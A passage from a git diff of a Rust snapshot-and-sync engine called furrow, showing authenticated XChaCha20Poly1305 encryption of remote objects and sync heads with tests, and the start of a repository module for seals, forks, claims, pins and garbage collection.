&ObjectId, + kind: ObjectKind, + bytes: &[u8], + ) -> anyhow::Result> { + let mut plaintext = Zeroizing::new(Vec::with_capacity(1 + id.len() + bytes.len())); + plaintext.push(kind as u8); + plaintext.extend_from_slice(id); + plaintext.extend_from_slice(bytes); + let ciphertext = self + .cipher() + .encrypt( + XNonce::from_slice(nonce), + Payload { + msg: &plaintext, + aad: remote_id, + }, + ) + .map_err(|_| anyhow::anyhow!("encrypt remote object"))?; + let mut framed = Vec::with_capacity(OBJECT_MAGIC.len() + NONCE_LEN + ciphertext.len()); + framed.extend_from_slice(OBJECT_MAGIC); + framed.extend_from_slice(nonce); + framed.extend_from_slice(&ciphertext); + Ok(framed) + } + + pub fn decrypt_object( + &self, + expected_id: &ObjectId, + framed: &[u8], + ) -> anyhow::Result<(ObjectKind, Vec)> { + let remote_id = self.remote_id(expected_id); + self.open_with( + &remote_id, + &self.object_nonce(expected_id), + expected_id, + framed, + ) + } + + /// Opens a frame made by `seal_with`, checking the nonce, the id and the content. + pub(crate) fn open_with( + &self, + remote_id: &ObjectId, + expected_nonce: &[u8; NONCE_LEN], + expected_id: &ObjectId, + framed: &[u8], + ) -> anyhow::Result<(ObjectKind, Vec)> { + anyhow::ensure!( + framed.len() >= OBJECT_MAGIC.len() + NONCE_LEN + 16, + "encrypted object is truncated" + ); + anyhow::ensure!( + &framed[..OBJECT_MAGIC.len()] == OBJECT_MAGIC, + "invalid encrypted object header" + ); + let nonce = &framed[OBJECT_MAGIC.len()..OBJECT_MAGIC.len() + NONCE_LEN]; + anyhow::ensure!(nonce == expected_nonce, "object nonce mismatch"); + let plaintext = Zeroizing::new( + self.cipher() + .decrypt( + XNonce::from_slice(nonce), + Payload { + msg: &framed[OBJECT_MAGIC.len() + NONCE_LEN..], + aad: remote_id, + }, + ) + .map_err(|_| anyhow::anyhow!("remote object authentication failed"))?, + ); + anyhow::ensure!(plaintext.len() >= 33, "remote object payload is truncated"); + let kind = ObjectKind::from_u8(plaintext[0]).context("invalid remote object kind")?; + anyhow::ensure!( + &plaintext[1..33] == expected_id, + "remote object ID mismatch" + ); + let bytes = plaintext[33..].to_vec(); + anyhow::ensure!( + object_id(kind, &bytes) == *expected_id, + "remote object content failed verification" + ); + Ok((kind, bytes)) + } + + pub fn encrypt_head(&self, snapshot: &ObjectId, context: &[u8]) -> anyhow::Result> { + self.encrypt_metadata(snapshot, context) + } + + pub fn encrypt_metadata(&self, plaintext: &[u8], context: &[u8]) -> anyhow::Result> { + anyhow::ensure!( + plaintext.len() <= MAX_METADATA_LEN, + "sync metadata exceeds the 1 MiB limit" + ); + let mut nonce = [0; NONCE_LEN]; + getrandom::getrandom(&mut nonce) + .map_err(|error| anyhow::anyhow!("generate sync-head nonce: {error}"))?; + let ciphertext = self + .cipher() + .encrypt( + XNonce::from_slice(&nonce), + Payload { + msg: plaintext, + aad: context, + }, + ) + .map_err(|_| anyhow::anyhow!("encrypt sync head"))?; + let mut framed = Vec::with_capacity(HEAD_MAGIC.len() + NONCE_LEN + ciphertext.len()); + framed.extend_from_slice(HEAD_MAGIC); + framed.extend_from_slice(&nonce); + framed.extend_from_slice(&ciphertext); + Ok(framed) + } + + pub fn decrypt_head(&self, framed: &[u8], context: &[u8]) -> anyhow::Result { + let plaintext = self.decrypt_metadata(framed, context)?; + anyhow::ensure!(plaintext.len() == 32, "invalid sync-head snapshot ID"); + let mut snapshot = [0; 32]; + snapshot.copy_from_slice(&plaintext); + Ok(snapshot) + } + + pub fn decrypt_metadata(&self, framed: &[u8], context: &[u8]) -> anyhow::Result> { + anyhow::ensure!( + framed.len() >= HEAD_MAGIC.len() + NONCE_LEN + 16, + "encrypted sync head is truncated" + ); + anyhow::ensure!( + &framed[..HEAD_MAGIC.len()] == HEAD_MAGIC, + "invalid encrypted sync-head header" + ); + let nonce = &framed[HEAD_MAGIC.len()..HEAD_MAGIC.len() + NONCE_LEN]; + anyhow::ensure!( + framed.len() <= HEAD_MAGIC.len() + NONCE_LEN + 16 + MAX_METADATA_LEN, + "encrypted sync metadata exceeds the 1 MiB limit" + ); + let plaintext = Zeroizing::new( + self.cipher() + .decrypt( + XNonce::from_slice(nonce), + Payload { + msg: &framed[HEAD_MAGIC.len() + NONCE_LEN..], + aad: context, + }, + ) + .map_err(|_| anyhow::anyhow!("sync-head authentication failed"))?, + ); + Ok(plaintext.to_vec()) + } + + fn cipher(&self) -> XChaCha20Poly1305 { + XChaCha20Poly1305::new(Key::from_slice(&self.key)) + } + + pub(crate) fn object_nonce(&self, id: &ObjectId) -> [u8; NONCE_LEN] { + let mut hasher = blake3::Hasher::new_keyed(&self.key); + hasher.update(b"furrow:object-nonce:v1\0"); + hasher.update(id); + let mut nonce = [0; NONCE_LEN]; + hasher.finalize_xof().fill(&mut nonce); + nonce + } +} + +impl Drop for RemoteCrypto { + fn drop(&mut self) { + self.key.zeroize(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn object_round_trip_is_opaque_deterministic_and_authenticated() { + let crypto = RemoteCrypto::new([7; 32]); + let bytes = b"private workspace bytes"; + let id = object_id(ObjectKind::Chunk, bytes); + let encrypted = crypto + .encrypt_object(&id, ObjectKind::Chunk, bytes) + .unwrap(); + assert!(!encrypted.windows(bytes.len()).any(|window| window == bytes)); + assert_eq!( + encrypted, + crypto + .encrypt_object(&id, ObjectKind::Chunk, bytes) + .unwrap() + ); + let (kind, decrypted) = crypto.decrypt_object(&id, &encrypted).unwrap(); + assert_eq!(kind, ObjectKind::Chunk); + assert_eq!(decrypted, bytes); + + let mut damaged = encrypted; + *damaged.last_mut().unwrap() ^= 1; + assert!(crypto.decrypt_object(&id, &damaged).is_err()); + assert!(RemoteCrypto::new([8; 32]) + .decrypt_object(&id, &damaged) + .is_err()); + } + + #[test] + fn head_round_trip_uses_random_authenticated_nonces() { + let crypto = RemoteCrypto::new([9; 32]); + let snapshot = [3; 32]; + let first = crypto.encrypt_head(&snapshot, b"project").unwrap(); + let second = crypto.encrypt_head(&snapshot, b"project").unwrap(); + assert_ne!(first, second); + assert_eq!(crypto.decrypt_head(&first, b"project").unwrap(), snapshot); + assert!(crypto.decrypt_head(&first, b"wrong").is_err()); + } +} diff --git a/engine/furrow-core/src/repository.rs b/engine/furrow-core/src/repository.rs new file mode 100644 index 0000000000..0ea14bf69f --- /dev/null +++ b/engine/furrow-core/src/repository.rs @@ -0,0 +1,5303 @@ +use crate::budget::{self, BudgetStatus}; +use crate::catalog::CachedFile; +use crate::chunker::ChunkStream; +use crate::claims; +use crate::content_class::{self, ContentClass}; +use crate::coord; +use crate::durability::Written; +use crate::estimate::{self, CaptureEstimate}; +use crate::fork::{fork_workspace_excluding, try_clone_file, ForkReport, ForkTier}; +use crate::gc::{self, GcReport}; +use crate::hardlink; +use crate::merge::{self, MergeAction, MergeConflict}; +use crate::model::{ + id_hex, parse_id, Blob, ChunkRef, ClaimRecord, EntryKind, ObjectId, ObjectKind, SealQuality, + Snapshot, SnapshotTrigger, SqliteBackup, TreeEntry, XattrEntry, Xattrs, +}; +use crate::name_fold::NameFolding; +use crate::overlay::{self, Overlay, WithOverlay}; +use crate::path_index::{PathIndex, CHILD_BATCH}; +use crate::policy::{CapturePolicy, POLICY_FILE_BYTES}; +use crate::radar::{EventPage, Radar, UniverseRegistration}; +use crate::self_write::ApplyGuard; +use crate::sorted_dir::SortedDirectory; +use crate::sqlite_adapter; +use crate::store::ObjectStore; +use crate::sync; +use crate::system_attrs; +use crate::tree; +use anyhow::{bail, Context}; +use directories::ProjectDirs; +use filetime::FileTime; +use fs2::FileExt; +use serde::Serialize; +use serde::{Deserialize, Serialize as SerdeSerialize}; +use std::collections::{BTreeMap, BTreeSet}; +use std::ffi::{OsStr, OsString}; +use std::fs::{self, File}; +use std::io::{BufReader, Write}; +use std::os::unix::ffi::{OsStrExt, OsStringExt}; +use std::os::unix::fs::{FileTypeExt, MetadataExt, PermissionsExt}; +use std::path::{Component, Path, PathBuf}; +use std::process::Stdio; +use std::time::{Instant, SystemTime, UNIX_EPOCH}; + +const STORE_DIR: &str = "store-v1"; +const WORKSPACE_FILE: &str = ".furrow/workspace-id"; +const WORKSPACE_FILE_BYTES: &[u8] = b".furrow/workspace-id"; +const FAMILY_FILE: &str = ".furrow/family-id"; +const FAMILY_FILE_BYTES: &[u8] = b".furrow/family-id"; +const FORK_FILE: &str = ".furrow/fork-id"; +const FORK_FILE_BYTES: &[u8] = b".furrow/fork-id"; + +pub struct FurrowRepository { + root: PathBuf, + workspace_id: String, + family_id: String, + store: ObjectStore, + overlay: Option, +} + +/// What a seal is told beyond its label and trigger. +#[derive(Debug, Clone, Default)] +pub struct SealOptions { + /// The paths that changed since the previous seal. Without it the whole + /// tree is walked, and the stat cache keeps unchanged files from being read. + pub changed: Option>, + /// A directory outside the workspace that is sealed as its `.cell/` entry. + pub overlay: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SnapshotSummary { + pub id: String, + pub sealed_at: i64, + pub label: Option, + pub trigger: String, + pub materialization: MaterializationReport, + pub pinned: bool, + /// True when the snapshot names a parent this store does not hold, as an + /// imported head does. Absent from the JSON when false. + #[serde(skip_serializing_if = "std::ops::Not::not")] + pub shallow: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct MaterializationReport { + pub grade: &'static str, + pub partial_classes: Vec<&'static str>, + pub missing_paths: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct MissingMaterializationPath { + pub path: String, + pub class: &'static str, + pub recovery: &'static str, + #[serde(skip)] + raw_path: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct RewindChange { + pub path: String, + pub action: &'static str, + #[serde(skip)] + raw_path: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct RewindPlan { + pub target: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub current_tree: Option, + pub changes: Vec, + pub preview_digest: String, + /// Paths of the target the plan leaves unwritten because the file system + /// being written keeps one name for them and another path holds it. + #[serde(skip_serializing_if = "Vec::is_empty")] + pub held: Vec, +} + +/// A path a restore did not write because its name collides, on the file +/// system being written, with another path of the same snapshot. +#[derive(Debug, Clone, Serialize)] +pub struct HeldPath { + pub path: String, + pub reason: String, + #[serde(skip)] + raw_path: Vec, +} + +impl HeldPath { + fn new(raw_path: &[u8], parent: &[u8], twin: &[u8]) -> Self { + let mut twin_path = parent.to_vec(); + if !twin_path.is_empty() { + twin_path.push(b'/'); + } + twin_path.extend_from_slice(twin); + Self { + path: display_relative(raw_path), + reason: format!("same name as {} here", display_relative(&twin_path)), + raw_path: raw_path.to_vec(), + } + } + + /// Whether `path` is this path or lies inside it. + fn covers(&self, path: &[u8]) -> bool { + path == self.raw_path + || (path.starts_with(&self.raw_path) && path.get(self.raw_path.len()) == Some(&b'/')) + } +} + +#[derive(Debug, Clone, Serialize)] +pub struct DiffChange { + pub path: String, + pub action: &'static str, +} + +#[derive(Debug, Clone, Serialize)] +pub struct DiffSummary { + pub target: String, + pub base_snapshot: String, + pub target_snapshot: String, + pub changes: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct BisectCheck { + pub snapshot: String, + pub label: Option, + pub passed: bool, + pub exit_code: Option, + pub signal: Option, + pub elapsed_ms: u64, + pub probe_fork_ms: u64, +} + +#[derive(Debug, Clone, Serialize)] +pub struct BisectOutcome { + pub candidates: usize, + pub good_snapshot: String, + pub first_bad_snapshot: String, + pub checks: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct RepositoryStatus { + pub workspace: PathBuf, + pub store: PathBuf, + pub head: Option, + pub snapshots: usize, + pub objects: u64, + pub physical_bytes: u64, + pub watcher_running: bool, + pub budget: BudgetStatus, +} + +#[derive(Debug, Clone, Serialize)] +pub struct FidelityAspect { + pub aspect: &'static str, + pub fidelity: &'static str, + pub detail: &'static str, +} + +#[derive(Debug, Clone, Serialize)] +pub struct FidelityReport { + pub platform: &'static str, + pub grade: &'static str, + pub excluded_subtrees: Vec, + pub aspects: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ForkSummary { + #[serde(default)] + pub fork_id: String, + pub name: String, + pub destination: PathBuf, + pub base_snapshot: String, + pub head_snapshot: String, + pub tier: ForkTier, + pub files: u64, + pub directories: u64, + pub symlinks: u64, + pub fifos: u64, + pub skipped_special: u64, + pub logical_bytes: u64, + pub cloned_bytes: u64, + pub copied_bytes: u64, + pub hardlinked_files: u64, + pub elapsed_ms: u64, + #[serde(default)] + pub atomic_hierarchy: bool, + pub created_at: i64, + #[serde(default)] + pub conflicts: u64, + #[serde(default)] + pub conflict_paths: Vec, + #[serde(default)] + pub radar_stale: bool, + #[serde(default)] + pub radar_updated_at: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ForkPlan { + pub fork_id: String, + pub name: String, + pub destination: PathBuf, + pub base_snapshot: String, + pub files: u64, + pub directories: u64, + pub symlinks: u64, + pub fifos: u64, + pub skipped_special: u64, + pub logical_bytes: u64, + pub worst_case_copied_bytes: u64, + pub projected_native_cow_ms: u64, + pub projected_streaming_copy_ms: u64, + /// Materialize `base_snapshot` from the object store (`furrow fork --at`) + /// instead of cloning the live working directory. + #[serde(default)] + pub at_snapshot: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ForkRemoval { + pub name: String, + pub destination: PathBuf, + pub files_removed: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ClaimOutcome { + pub claim: ClaimRecord, + pub snapshot: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ReleaseOutcome { + pub released: Vec, + pub snapshot: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct CoordOutcome { + pub operation: &'static str, + pub propagation: coord::CoordPropagation, + pub snapshot: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ForkUpdates { + pub fork: String, + pub head: Option, + pub cursor_found: bool, + pub snapshots: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct MergeOutcome { + pub fork: String, + pub base_snapshot: String, + pub ours_snapshot: String, + pub theirs_snapshot: String, + pub ours_tree: String, + pub theirs_tree: String, + pub result_snapshot: Option, + pub changes: usize, + pub conflicts: Vec, + pub check: Option, + pub check_output: Option, + pub preview_digest: String, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum SyncDisposition { + UpToDate, + FastForwarded, + Bootstrapped, + Diverged, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SyncPullOutcome { + pub disposition: SyncDisposition, + pub local_snapshot: String, + pub remote_snapshot: String, + pub remote_base_root: Option, + pub fetched_objects: u64, + pub reused_objects: u64, + pub fetched_bytes: u64, + #[serde(default)] + pub materialized_files: u64, + pub timings: sync::TransportTimings, + pub apply_timings: ApplyTimings, +} + +#[derive(Debug, Clone, Default, Serialize)] +pub struct ApplyTimings { + pub diff_compute_ms: u64, + pub divergence_check_ms: u64, + pub write_ms: u64, + pub fsync_ms: u64, + pub baseline_install_ms: u64, + pub watcher_requiesce_ms: u64, +} + +#[derive(Debug, Serialize)] +#[serde(tag = "action", rename_all = "snake_case")] +pub enum SyncFollowOutcome { + Idle, + Published { report: sync::PushReport }, + Pulled { outcome: SyncPullOutcome }, +} + +pub struct SyncFollowSession { + config: sync::PairConfig, + remote: crate::remote::Session, + pending_notify_ms: Option, +} + +impl SyncFollowSession { + pub fn wait_for_remote_change( + &mut self, + fallback: std::time::Duration, + ) -> anyhow::Result { + let change = self.remote.wait_for_head_change(fallback)?; + if change.changed { + self.pending_notify_ms = change.notify_ms; + } + Ok(change.changed) + } +} + +#[derive(Clone)] +struct FlatEntry { + entry: TreeEntry, +} + +#[derive(Debug, SerdeSerialize, Deserialize)] +struct RestoreIntent { + pre_snapshot: ObjectId, + target_snapshot: ObjectId, + paths: Vec>, +} + +#[derive(Debug, SerdeSerialize, Deserialize)] +struct SyncState { + remote_root: ObjectId, + #[serde(default)] + local_root: Option, +} + +impl FurrowRepository { + pub fn watch(root: &Path) -> anyhow::Result<(Self, ObjectId)> { + Self::attach_and_snapshot( + root, + Some("initial protection".to_owned()), + SnapshotTrigger::Manual, + ) + } + + pub fn attach_and_snapshot( + root: &Path, + label: Option, + existing_trigger: SnapshotTrigger, + ) -> anyhow::Result<(Self, ObjectId)> { + Self::attach_and_seal(root, label, existing_trigger, SealOptions::default()) + } + + pub fn attach_and_seal( + root: &Path, + label: Option, + existing_trigger: SnapshotTrigger, + options: SealOptions, + ) -> anyhow::Result<(Self, ObjectId)> { + Self::attach_and_seal_in(&data_root()?, root, label, existing_trigger, options) + } + + /// As [`Self::attach_and_seal`], with the engine's data directory named + /// instead of read from the process environment, so one process can serve + /// many stores. + pub fn attach_and_seal_in( + data_dir: &Path, + root: &Path, + label: Option, + existing_trigger: SnapshotTrigger, + options: SealOptions, + ) -> anyhow::Result<(Self, ObjectId)> { + let root = root + .canonicalize() + .with_context(|| format!("open {}", root.display()))?; + let home = IdentityHome::of(options.overlay.is_some()); + let store_root = data_dir.join(STORE_DIR); + anyhow::ensure!( + !root.starts_with(&store_root), + "workspace cannot contain the furrow store" + ); + let mut store = ObjectStore::open(store_root)?; + let workspace_id = home.attach_id(&root, &store)?; + store.ensure_workspace(&workspace_id, root.as_os_str().as_bytes())?; + let family_id = ensure_family_id(home, &root, &store, &workspace_id)?; + coord::reconcile(&root, &store, &family_id)?; + let mut repository = Self { + root, + workspace_id, + family_id, + store, + overlay: options.overlay.map(Overlay::new), + }; + repository.recover_interrupted_rewind()?; + let id = repository.seal(label, existing_trigger, options.changed.as_deref())?; + Ok((repository, id)) + } + + /// Seals the attached workspace: the first seal of a workspace is its + /// initial snapshot, every later one carries `existing_trigger`. + pub fn seal( + &mut self, + label: Option, + existing_trigger: SnapshotTrigger, + changed: Option<&[PathBuf]>, + ) -> anyhow::Result { + let trigger = if self.store.workspace_head(&self.workspace_id)?.is_some() { + existing_trigger + } else { + SnapshotTrigger::Initial + }; + self.snapshot_internal(label, trigger, changed, Vec::new()) + } + + pub fn open(root: &Path) -> anyhow::Result { + Self::open_composed(root, None) + } + + /// Opens a watched workspace with `overlay` standing for the tree's + /// `.cell/` entry: seals compose it in, and a rewind puts it back there + /// instead of in the root. A composed workspace keeps its identity in the + /// store, so nothing is written into the tree. + pub fn open_composed(root: &Path, overlay: Option) -> anyhow::Result { + Self::open_composed_in(&data_root()?, root, overlay) + } + + /// As [`Self::open_composed`], with the data directory named. + pub fn open_composed_in( + data_dir: &Path, + root: &Path, + overlay: Option, + ) -> anyhow::Result { + let root = root + .canonicalize() + .with_context(|| format!("open {}", root.display()))?; + let home = IdentityHome::of(overlay.is_some()); + let mut store = ObjectStore::open(data_dir.join(STORE_DIR))?; + let workspace_id = home.open_id(&root, &store)?; + store.ensure_workspace(&workspace_id, root.as_os_str().as_bytes())?; + let family_id = ensure_family_id(home, &root, &store, &workspace_id)?; + coord::reconcile(&root, &store, &family_id)?; + let repository = Self { + root, + workspace_id, + family_id, + store, + overlay: overlay.map(Overlay::new), + }; + repository.recover_interrupted_rewind()?; + Ok(repository) + } + + pub fn root(&self) -> &Path { + &self.root + } + + pub(crate) fn filter_capture_paths( + &self, + paths: impl IntoIterator, + ) -> anyhow::Result> { + let policy = self.load_policy()?; + Ok(paths + .into_iter() + .filter(|path| { + !policy.excludes_path(&self.root, path) + && !changed_path_is_identity(&self.root, path) + }) + .collect()) + } + + pub fn store_root(&self) -> &Path { + self.store.root() + } + + pub fn store_physical_bytes(&self) -> anyhow::Result { + Ok(self.store.stats()?.physical_bytes) + } + + pub fn workspace_data_dir(&self) -> PathBuf { + self.store.workspace_data_dir(&self.workspace_id) + } + + pub fn snapshot( + &mut self, + label: Option, + trigger: SnapshotTrigger, + ) -> anyhow::Result { + self.snapshot_internal(label, trigger, None, Vec::new()) + } + + pub fn snapshot_changed_paths( + &mut self, + label: Option, + trigger: SnapshotTrigger, + changed_paths: &[PathBuf], + ) -> anyhow::Result { + self.snapshot_internal(label, trigger, Some(changed_paths), Vec::new()) + } + + fn snapshot_internal( + &mut self, + label: Option, + trigger: SnapshotTrigger, + changed_paths: Option<&[PathBuf]>, + merge_parents: Vec, + ) -> anyhow::Result { + self.snapshot_internal_with_parent(label, trigger, changed_paths, merge_parents, None) + } + + /// As [`Self::snapshot_internal`], but records `parent_override` as the + /// sealed snapshot's first parent instead of the workspace's current head. + /// `furrow work` uses this so the result descends directly from the job's + /// input snapshot, keeping the throwaway fork checkpoint out of the + /// transported ancestry that a downstream merge base derivation follows. + fn snapshot_internal_with_parent( + &mut self, + label: Option, + trigger: SnapshotTrigger, + changed_paths: Option<&[PathBuf]>, + merge_parents: Vec, + parent_override: Option, + ) -> anyhow::Result { + let _maintenance = self.store.acquire_maintenance_shared()?; + let parent = match parent_override { + Some(parent) => Some(parent), + None => self.store.workspace_head(&self.workspace_id)?, + }; + let policy = self.load_policy()?; + let (id, secs) = self.store.batched(|| { + let root_tree = self.capture_tree(changed_paths, &policy)?; + // Continuous watcher seals keep raw database/WAL/SHM bytes (L0) and + // avoid a second whole-tree database discovery pass. Forced boundaries + // attach the logically consistent SQLite image (L1). + let sqlite_backups = if trigger == SnapshotTrigger::Watcher { + Vec::new() + } else { + self.capture_sqlite_backups(&policy)? + }; + let (secs, nanos) = now(); + let claims = self.active_claims()?; + let hardlinks = hardlink::groups(self.open_path_index()?.link_groups()?); + let snapshot = Snapshot { + root_tree, + parent, + merge_parents, + sealed_at_secs: secs, + sealed_at_nanos: nanos, + quality: SealQuality::Quiescent, + trigger: trigger.clone(), + label: label.clone(), + sqlite_backups, + claims, + excluded_paths: policy.rule_strings(), + hardlinks, + }; + let id = self.store.put_struct(ObjectKind::Snapshot, &snapshot)?; + Ok((id, secs)) + })?; + self.store + .publish_snapshot(&self.workspace_id, id, secs, label, trigger)?; + Ok(id) + } + + pub fn timeline(&self, limit: usize) -> anyhow::Result> { + let pinned = self.store.pinned_snapshots(&self.workspace_id)?; + self.store + .timeline(&self.workspace_id, limit)? + .into_iter() + .map(|row| { + Ok(SnapshotSummary { + id: id_hex(&row.id), + sealed_at: row.sealed_at, + label: row.label, + trigger: row.trigger, + materialization: self.materialization(&row.id)?, + pinned: pinned.contains(&row.id), + shallow: self.is_shallow(&row.id)?, + }) + }) + .collect() + } + + /// True when the snapshot's parent is not in this store. + fn is_shallow(&self, id: &ObjectId) -> anyhow::Result { + let snapshot: Snapshot = self.store.read_struct(id, ObjectKind::Snapshot)?; + match snapshot.parent { + Some(parent) => Ok(!self.store.contains_object(&parent)?), + None => Ok(false), + } + } + + /// Makes an imported snapshot the workspace head, recorded in the ref log + /// the way a seal records one, so the next seal takes it as its parent. + /// The snapshot's own parent may be absent from this store. + pub fn adopt_head(&mut self, id: &ObjectId) -> anyhow::Result<()> { + let snapshot: Snapshot = self.store.read_struct(id, ObjectKind::Snapshot)?; + self.store.publish_snapshot( + &self.workspace_id, + *id, + snapshot.sealed_at_secs, + snapshot.label, + snapshot.trigger, + ) + } + + pub fn status(&self) -> anyhow::Result { + let stats = self.store.stats()?; + let head = self.store.workspace_head(&self.workspace_id)?; + Ok(RepositoryStatus { + workspace: self.root.clone(), + store: self.store.root().to_owned(), + head: head.map(|id| id_hex(&id)), + snapshots: self.store.retained_snapshot_count(&self.workspace_id)? as usize, + objects: stats.objects, + physical_bytes: stats.physical_bytes, + watcher_running: self.watcher_running(), + budget: self.store.budget_status()?, + }) + } + + pub fn fidelity(&self) -> anyhow::Result { + let policy = self.load_policy()?; + Ok(FidelityReport { + platform: std::env::consts::OS, + grade: "partial", + excluded_subtrees: policy.rule_strings(), + aspects: vec![ + FidelityAspect { + aspect: "regular_file_bytes", + fidelity: "exact", + detail: "content-addressed chunks are verified before restoration", + }, + FidelityAspect { + aspect: "directories_and_symlinks", + fidelity: "exact", + detail: "directory structure and symlink target bytes are preserved", + }, + FidelityAspect { + aspect: "mode_and_mtime", + fidelity: "exact", + detail: "permission bits and nanosecond modification times are restored", + }, + FidelityAspect { + aspect: "extended_attributes", + fidelity: "best_effort", + detail: "readable xattrs are preserved; permission-denied namespaces are omitted", + }, + FidelityAspect { + aspect: "sqlite", + fidelity: "exact_plus_logical", + detail: "raw database/WAL/SHM bytes are exact; forced seals also attach a checked logical backup", + }, + FidelityAspect { + aspect: "hard_link_groups", + fidelity: "not_preserved_by_rewind", + detail: "forks retain link groups, but snapshot restoration currently materializes independent files", + }, + FidelityAspect { + aspect: "sparse_holes", + fidelity: "not_preserved", + detail: "file bytes are exact but sparse files currently restore densely", + }, + FidelityAspect { + aspect: "ownership", + fidelity: "not_captured", + detail: "uid and gid are not stored in the current snapshot schema", + }, + FidelityAspect { + aspect: "acls", + fidelity: "best_effort", + detail: "only ACL state exposed through readable extended attributes is retained", + }, + FidelityAspect { + aspect: "fifos", + fidelity: "exact_entry", + detail: "FIFO entries and modes are recreated; FIFOs have no retained content", + }, + FidelityAspect { + aspect: "sockets", + fidelity: "marker_only", + detail: "runtime sockets are recorded as markers and intentionally not recreated", + }, + FidelityAspect { + aspect: "device_nodes", + fidelity: "not_captured", + detail: "device nodes are skipped with a capture-time warning", + }, + FidelityAspect { + aspect: "external_git_storage", + fidelity: "out_of_scope", + detail: "Git object stores referenced outside the watched root are not captured", + }, + ], + }) + } + + pub fn gc(&mut self, dry_run: bool) -> anyhow::Result { + let report = gc::collect(&mut self.store, dry_run)?; + if !dry_run { + let status = self.store.budget_status()?; + budget::record_attempt(self.store.root(), status.physical_bytes, status.satisfied)?; + } + Ok(report) + } + + pub fn pin(&mut self, snapshot: &ObjectId) -> anyhow::Result { + let _maintenance = self.store.acquire_maintenance_exclusive()?; + let materialization = self.materialization(snapshot)?; + anyhow::ensure!( + materialization.grade == "exact", + "cannot pin a partial snapshot; {} path(s) are missing bytes", + materialization.missing_paths.len() + ); + self.store.pin_snapshot(&self.workspace_id, *snapshot) + } + + pub fn unpin(&mut self, snapshot: &ObjectId) -> anyhow::Result { + self.store.unpin_snapshot(&self.workspace_id, snapshot) + } + + pub fn materialization(&self, snapshot_id: &ObjectId) -> anyhow::Result { + derive_materialization(&self.store, snapshot_id) + } + + pub fn gc_global(dry_run: bool) -> anyhow::Result { + let mut store = ObjectStore::open(data_root()?.join(STORE_DIR))?; + let report = gc::collect(&mut store, dry_run)?; + if !dry_run { + let status = store.budget_status()?; + budget::record_attempt(store.root(), status.physical_bytes, status.satisfied)?; + } + Ok(report) + } + + pub fn budget_global( + max_store_bytes: Option, + reserved_free_bytes: Option, + ) -> anyhow::Result { + let mut store = ObjectStore::open(data_root()?.join(STORE_DIR))?; + if max_store_bytes.is_some() || reserved_free_bytes.is_some() { + store.configure_budget(max_store_bytes, reserved_free_bytes) + } else { + store.budget_status() + } + } + + pub fn global_store_physical_bytes() -> anyhow::Result { + Ok(ObjectStore::open(data_root()?.join(STORE_DIR))? + .stats()? + .physical_bytes) + } + + pub fn estimate(root: &Path) -> anyhow::Result { + let root = root.canonicalize()?; + let store = ObjectStore::open(data_root()?.join(STORE_DIR))?; + estimate::calculate(&root, &store) + } + + pub fn claims(&self) -> anyhow::Result> { + self.active_claims() + } + + pub fn claim( + &mut self, + pattern: &str, + owner: &str, + ttl_seconds: u64, + ) -> anyhow::Result { + let mut registry = claims::Registry::open(self.store.root(), &self.family_id)?; + let claim = registry.claim(pattern, owner, &self.workspace_id, ttl_seconds)?; + let snapshot = self.snapshot( + Some(format!("{} claimed {}", claim.owner, claim.pattern)), + SnapshotTrigger::Claim, + )?; + Ok(ClaimOutcome { + claim, + snapshot: id_hex(&snapshot), + }) + } + + pub fn release_claim(&mut self, selector: &str, owner: &str) -> anyhow::Result { + let mut registry = claims::Registry::open(self.store.root(), &self.family_id)?; + let released = registry.release(selector, owner, &self.workspace_id)?; + let snapshot = match self.snapshot( + Some(format!("{owner} released {selector}")), + SnapshotTrigger::Release, + ) { + Ok(snapshot) => snapshot, + Err(error) => { + registry.restore(&released)?; + return Err(error.context("release snapshot failed; claims were restored")); + } + }; + Ok(ReleaseOutcome { + released, + snapshot: id_hex(&snapshot), + }) + } + + pub fn default_claim_owner(&self) -> String { + std::env::var("FURROW_AGENT_ID") + .or_else(|_| std::env::var("FURROW_FORK_NAME")) + .unwrap_or_else(|_| format!("workspace-{}", &self.workspace_id[..12])) + } + + pub fn coord_write( + &mut self, + path: &Path, + bytes: &[u8], + owner: &str, + ) -> anyhow::Result { + let propagation = coord::write(&self.root, &self.store, &self.family_id, path, bytes)?; + let snapshot = self.snapshot( + Some(format!("{owner} wrote coord/{}", propagation.path)), + SnapshotTrigger::Coord, + )?; + Ok(CoordOutcome { + operation: "write", + propagation, + snapshot: id_hex(&snapshot), + }) + } + + pub fn coord_remove(&mut self, path: &Path, owner: &str) -> anyhow::Result { + let propagation = coord::remove(&self.root, &self.store, &self.family_id, path)?; + let snapshot = self.snapshot( + Some(format!("{owner} removed coord/{}", propagation.path)), + SnapshotTrigger::Coord, + )?; + Ok(CoordOutcome { + operation: "remove", + propagation, + snapshot: id_hex(&snapshot), + }) + } + + pub fn coord_read(&self, path: &Path) -> anyhow::Result> { + coord::reconcile(&self.root, &self.store, &self.family_id)?; + coord::read(&self.root, path) + } + + pub fn coord_list(&self) -> anyhow::Result> { + coord::reconcile(&self.root, &self.store, &self.family_id)?; + coord::list(&self.root) + } + + pub fn fork_updates( + &self, + name: &str, + after: Option<&str>, + limit: usize, + ) -> anyhow::Result { + anyhow::ensure!( + (1..=1000).contains(&limit), + "limit must be between 1 and 1000" + ); + let fork = self + .forks()? + .into_iter() + .find(|fork| fork.name == name) + .with_context(|| format!("fork `{name}` was not found"))?; + anyhow::ensure!(fork.destination.exists(), "fork directory no longer exists"); + let repository = FurrowRepository::open(&fork.destination)?; + let timeline = 